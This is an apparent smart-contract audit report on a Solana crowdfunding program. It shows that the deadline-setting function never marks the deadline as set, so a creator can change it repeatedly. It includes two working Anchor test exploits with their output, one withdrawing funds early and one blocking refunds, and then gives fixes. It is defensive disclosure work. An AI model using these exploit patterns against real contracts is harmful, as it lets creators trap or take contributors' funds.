Summary
Contract logic doesn't properly enforce the “one-time” deadline setting rule via an explicit deadline_set
flag, allow creators to repeatedly modify the campaign deadline.
Vulnerability Details
The set_deadline
function didn't update deadline_set
member of Fund
struct to true, which allow creators to change and/or modify deadline several times
pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
Ok(())
}
Tools Used
Manual Review
Anchor Test Case
Proof of Concept
Exploit 1: Shorten the Deadline After Meeting the Goal to Withdraw Funds Early
it("Exploit 1: Shorten the deadline if goal is met to withdraw funds early", async () => {
await initializeFund("Exploit1");
await program.methods
.contribute(goal)
.accounts({
fund: fundPDA,
contributor: contributor,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributorPair])
.rpc();
let fund = await program.account.fund.fetch(fundPDA);
expect(fund.amountRaised.toNumber()).to.equal(goal.toNumber());
const newDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 30);
await program.methods
.setDeadline(newDeadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
fund = await program.account.fund.fetch(fundPDA);
expect(fund.deadline.toNumber()).to.equal(newDeadline.toNumber());
console.log("\n🚨 Exploit: Deadline shortened after goal was met, allowing early withdrawal.");
await program.methods
.withdraw()
.accounts({
fund: fundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
fund = await program.account.fund.fetch(fundPDA);
console.log("\n💰 Fund state after withdrawal:");
console.log(" - Amount Raised:", fund.amountRaised.toNumber());
});
rustfund
Multiple Deadlines Vulnerability
Contributor balance: 2 SOL
✅ Fund Created and Initial State:
- Fund Name: firstflight FundExploit1
- Fund Description: this program is for firstflight
- Fund Goal: 1000000000
- Fund Deadline: 1742931518
- Fund Amount Raised: 0
- Fund Deadline Set: false
- Fund Creator: 2gtq6DJNVcNKgsDEUSn6qKVy1GbsjNLK297oa5EtH3Qz
🚨 Exploit: Deadline shortened after goal was met, allowing early withdrawal.
💰 Fund state after withdrawal:
- Amount Raised: 1000000000
✔ Exploit 1: Shorten the deadline if goal is met to withdraw funds early (2064ms)
Contributor balance: 0.99855232 SOL
Exploit 2: Extend the Deadline When Goal Isn't Met to Block Refunds
it("Exploit 2: Extend the deadline if goal isn't met to block refunds", async () => {
await initializeFund("Exploit2");
await program.methods
.contribute(smallContribution)
.accounts({
fund: fundPDA,
contributor: contributor,
contribution: contributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributorPair])
.rpc();
let fund = await program.account.fund.fetch(fundPDA);
console.log("\n⚠️ Fund state before extending deadline:");
console.log(" - Amount Raised:", fund.amountRaised, "(Goal Not Met)");
expect(fund.amountRaised.toNumber()).to.be.lessThan(goal.toNumber());
const extendedDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 120);
await program.methods
.setDeadline(extendedDeadline)
.accounts({
fund: fundPDA,
creator: creator.publicKey,
})
.rpc();
console.log("\n⏳ Waiting for original deadline to expire...");
await new Promise((resolve) => setTimeout(resolve, 90 * 1000));
try {
await program.methods
.refund()
.accounts({
fund: fundPDA,
contribution: contributionPDA,
contributor: contributor,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([contributorPair])
.rpc();
console.error("\n❌ Refund succeeded unexpectedly!");
} catch (err) {
expect(err.toString()).to.include("DeadlineNotReached");
console.log("\n✅ Refund failed as expected due to `DeadlineNotReached` bug.");
}
});
✅ Fund Created and Initial State:
- Fund Name: firstflight FundExploit2
- Fund Description: this program is for firstflight
- Fund Goal: 1000000000
- Fund Deadline: 1742931520
- Fund Amount Raised: 0
- Fund Deadline Set: false
- Fund Creator: 2gtq6DJNVcNKgsDEUSn6qKVy1GbsjNLK297oa5EtH3Qz
⚠️ Fund state before extending deadline:
- Amount Raised: (Goal Not Met)
⏳ Waiting for original deadline to expire...
✅ Refund failed as expected due to `DeadlineNotReached` bug.
✔ Exploit 2: Extend the deadline if goal isn't met to block refunds (91688ms)
Impact
Business Logic Violation: Creators can bypass the "one-time deadline" rule, undermining contributor trust.
Refund Evasion: Malicious creators can extend deadlines indefinitely to avoid refund conditions.
Financial Risk: Contributors may lose funds if campaigns never meet goals but deadlines are repeatedly extended.
Legal Risk: This vulnerability not only impacts user trust but also affects contract credibility, potentially leading to legal and reputational risks for the protocol.
Recommendations
Option One (Not Recommended/ less favorable):
Update the set_deadline
function to set deadline_set = true
after setting the deadline to enforce immutability after the first successful call.
pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.deadline_set {
return Err(ErrorCode::DeadlineAlreadySet.into());
}
fund.deadline = deadline;
fund.deadline_set = true;
Ok(())
}
Option Two (Recommended):
Set all funding details, including the deadline, at the time of fund creation fund_create
function to eliminate the need for a separate deadline-setting function.